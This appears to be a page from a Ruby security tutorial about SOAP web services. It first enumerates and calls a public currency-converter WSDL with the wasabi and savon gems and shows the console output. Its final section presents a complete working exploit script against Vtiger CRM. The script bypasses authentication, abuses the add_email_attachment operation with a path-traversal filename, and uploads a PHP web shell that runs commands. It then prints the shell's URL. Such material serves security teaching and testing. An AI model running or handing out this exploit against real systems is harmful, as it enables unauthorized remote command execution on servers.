Interacting with Web Services

SOAP - WSDL

Generally speaking, dealing with SOAP means dealing with XML messages and a WSDL file (also XML) that describes how to use a given SOAP API. Ruby has really elegant way to do so and let's to get our hand dirty with an exploit

• Install wasabi, sabvon & httpclient gems

  gem install wasabi savon httpclient

Enumeration

require 'wasabi'

url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL"

document = Wasabi.document url

# Parsing the document
document.parser

# SOAP XML
document.xml

# Getting the endpoint
document.endpoint

# Getting the target namespace
document.namespace

# Enumerate all the SOAP operations/actions
document.operations

# Enumerate input parameters for particular operation
document.operation_input_parameters :conversion_rate

# Enumerate all available currencies
document.parser.document.element_children.children[1].children[1].children[3].children[1].children.map {|c| c.attributes.values[0].to_s}

Results

>> url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL"
=> "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL"
>> document = Wasabi.document url
=> #<Wasabi::Document:0x00000002c79a50 @adapter=nil, @document="http://www.webservicex.net/CurrencyConvertor.asmx?WSDL">
>> # Parsing the document
>> document.parser
=> #<Wasabi::Parser:0x0000000281ebb8
 @deferred_types=[],
 @document=
  #(Document:0x140fa3c {
    name = "document",
    children = [
      #(Element:0x140f294 {
        name = "definitions",
        namespace = #(Namespace:0x14017e8 { prefix = "wsdl", href = "http://schemas.xmlsoap.org/wsdl/" }),
        attributes = [ #(Attr:0x1a507d4 { name = "targetNamespace", value = "http://www.webserviceX.NET/" })],
        children = [
          #(Text "\n  "),
---kipped---
>> # Getting the endpoint
>> document.endpoint
=> #<URI::HTTP http://www.webservicex.net/CurrencyConvertor.asmx>
>> # Getting the target namespace
>> document.namespace
=> "http://www.webserviceX.NET/"
>> # Enumerate all the SOAP operations/actions
>> document.operations
=> {:conversion_rate=>
  {:action=>"http://www.webserviceX.NET/ConversionRate",
   :input=>"ConversionRate",
   :output=>"ConversionRateResponse",
   :namespace_identifier=>"tns",
   :parameters=>{:FromCurrency=>{:name=>"FromCurrency", :type=>"Currency"}, :ToCurrency=>{:name=>"ToCurrency", :type=>"Currency"}}}}
>> # Enumerate input parameters for particular operation
>> document.operation_input_parameters :conversion_rate
=> {:FromCurrency=>{:name=>"FromCurrency", :type=>"Currency"}, :ToCurrency=>{:name=>"ToCurrency", :type=>"Currency"}}

Interaction

require 'savon'

url = "http://www.webservicex.net/CurrencyConvertor.asmx?WSDL"
client = Savon.client(wsdl: url)

message = {'FromCurrency' => 'EUR', 'ToCurrency' => 'CAD'}
response = client.call(:conversion_rate, message: message).body

response[:conversion_rate_response][:conversion_rate_result]

Results

>> message = {'FromCurrency' => 'EUR', 'ToCurrency' => 'CAD'}
=> {"FromCurrency"=>"EUR", "ToCurrency"=>"CAD"}
>> response = client.call(:conversion_rate, message: message).body
=> {:conversion_rate_response=>{:conversion_rate_result=>"1.4417", :@xmlns=>"http://www.webserviceX.NET/"}}

1.4415

Hacking via SOAP vulnerabilities

This is a working exploit for Vtiger CRM SOAP from auth-bypass to shell upload

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
# gem install savon httpclient
#
require 'savon'

if ARGV.size < 1
  puts "[+] ruby #{__FILE__} [WSDL URL]"
  exit 0
else
  url = ARGV[0]
end

shell_data, shell_name = "<?php system($_GET['cmd']); ?>", "shell-#{rand(100)}.php"

# Start client
client = Savon::Client.new(wsdl: url)

# List all available operations
puts "[*] List all available operations "
puts client.operations

puts "\n\n[*] Interact with :add_email_attachment operation"
response = client.call( :add_email_attachment,
                        message: {
                                     emailid:  rand(100),
                                     filedata: [shell_data].pack("m0"),
                                     filename: "../../../../../../#{shell_name}",
                                     filesize: shell_data.size,
                                     filetype: "php",
                                     username: "KING",
                                     sessionid: nil
                                }
                      )
puts "[+] PHP Shell on:  http://#{URI.parse(url).host}/vtigercrm/soap/#{shell_name}?cmd=id"

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